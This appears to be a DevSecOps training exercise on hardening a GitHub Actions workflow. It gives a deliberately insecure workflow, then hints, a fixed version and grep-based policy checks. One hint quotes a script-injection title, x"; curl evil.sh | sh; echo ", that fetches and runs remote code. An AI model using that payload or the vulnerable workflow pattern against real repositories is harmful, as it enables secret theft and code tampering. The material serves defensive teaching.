Dit deel is nog niet vertaald. Je ziet de Engelse tekst.
Doel
You get a workflow that "works" but has six classic security problems. Find each problem, explain the attack, and rewrite the workflow so a malicious pull request or issue title can not steal secrets or push code. This is exactly what a reviewer checks in a real DevSecOps team.
Voordat je begint
- Read this workflow. Do not run it in a repository with real secrets..github/workflows/weak.yml
name: greet on: pull_request_target: issues: types: [opened] permissions: write-all jobs: greet: runs-on: self-hosted steps: - uses: actions/checkout@main with: ref: ${{ github.event.pull_request.head.sha }} - uses: some-user/notify-action@v2 - run: | echo "New item: ${{ github.event.issue.title }}" - run: | curl -s -H "Authorization: Bearer ${{ secrets.DEPLOY_TOKEN }}" https://deploy.example.com/hook - run: ./build.sh
Taken
Vink een taak aan als hij klaar is. Alleen je browser onthoudt dit.
- List the six problems and for each one write one sentence about the attack.
- Set
permissionsto the minimum, at the top and per job. - Pin every third-party action to a full commit SHA (with the version as a comment) and let Dependabot keep the pins up to date.
- Remove the script injection: never put
${{ github.event.* }}text directly into arun:line. - Split the trigger: untrusted code from forks runs with
pull_request(no secrets); only trusted events may use the deploy token, and only through a protected environment. - Do not run untrusted code on a self-hosted runner.
- Add a step that fails the job if the workflow file contains
write-allor an unpinneduses:(a tiny policy check).
Controleer je werk
grep -n "write-all\|pull_request_target\|self-hosted" .github/workflows/*.yml
grep -nE "uses: [^ ]+@(main|master|v[0-9]+)$" .github/workflows/*.yml
grep -n 'run:.*\${{ github.event' .github/workflows/*.yml- All three
grepcommands print nothing. - The secret
DEPLOY_TOKENis used only in a job withenvironment: productionthat runs onpushtomain. .github/dependabot.ymlupdatesgithub-actionsevery week.
Hints
Toon de hints
pull_request_targetruns with the base repository's secrets and a write token, but withref: head.shait checks out the attacker's code. That is the "pwn request".- A title like
x"; curl evil.sh | sh; echo "becomes shell code when the expression is pasted intorun:. Pass it throughenv:and use"$TITLE". - Tags like
@v2can be moved by the action owner; a 40-character SHA can not. - A self-hosted runner keeps files and tokens between jobs; a fork pull request could install a backdoor on it.
Oplossing
Toon de oplossing
- The six problems: (1)
pull_request_target+ checkout of the PR head runs fork code with secrets; (2)write-allgives every step a token that can push code and change releases; (3)@main/@v2can change under you (supply-chain attack, like the tj-actions incident in 2025); (4)${{ github.event.issue.title }}inrun:= script injection; (5) the deploy token is available to any step and any event; (6) a self-hosted runner runs untrusted code and keeps state. - The safe version..github/workflows/ci.yml
name: ci on: pull_request: push: branches: [main] issues: types: [opened] permissions: {} jobs: build: if: github.event_name != 'issues' runs-on: ubuntu-latest permissions: contents: read steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 with: persist-credentials: false - run: ./build.sh greet: if: github.event_name == 'issues' runs-on: ubuntu-latest permissions: issues: read steps: - env: TITLE: ${{ github.event.issue.title }} run: | printf 'New item: %s\n' "$TITLE" deploy: if: github.event_name == 'push' && github.ref == 'refs/heads/main' needs: build runs-on: ubuntu-latest environment: production permissions: contents: read steps: - env: DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }} run: | curl -fsS -H "Authorization: Bearer $DEPLOY_TOKEN" https://deploy.example.com/hook policy: runs-on: ubuntu-latest permissions: contents: read steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 - run: bash .github/scripts/policy.shThe policy check is a small script outside the workflow folder (so it does not find its own search words):
.github/scripts/policy.sh#!/usr/bin/env bash # fail on a write-all token or on an action that is not pinned to a 40-character SHA set -u bad=0 grep -n "write-all" .github/workflows/*.yml && bad=1 grep -nE "uses: [^ ]+@[^ ]{1,39}( |$)" .github/workflows/*.yml | grep -v "uses: \./" && bad=1 exit $badPut the
DEPLOY_TOKENsecret into the environmentproduction(Settings → Environments) with required reviewers, not into the repository secrets. - Keep the pins fresh..github/dependabot.yml
version: 2 updates: - package-ecosystem: github-actions directory: / schedule: interval: weekly - Check the result.
grep -n "write-all\|pull_request_target\|self-hosted" .github/workflows/*.yml git add .github && git commit -m "Harden workflows" && git pushOptional: run
zizmor .github/workflowsoractionlintlocally; both find these problems automatically.
Mijn notities
Nog geen notities.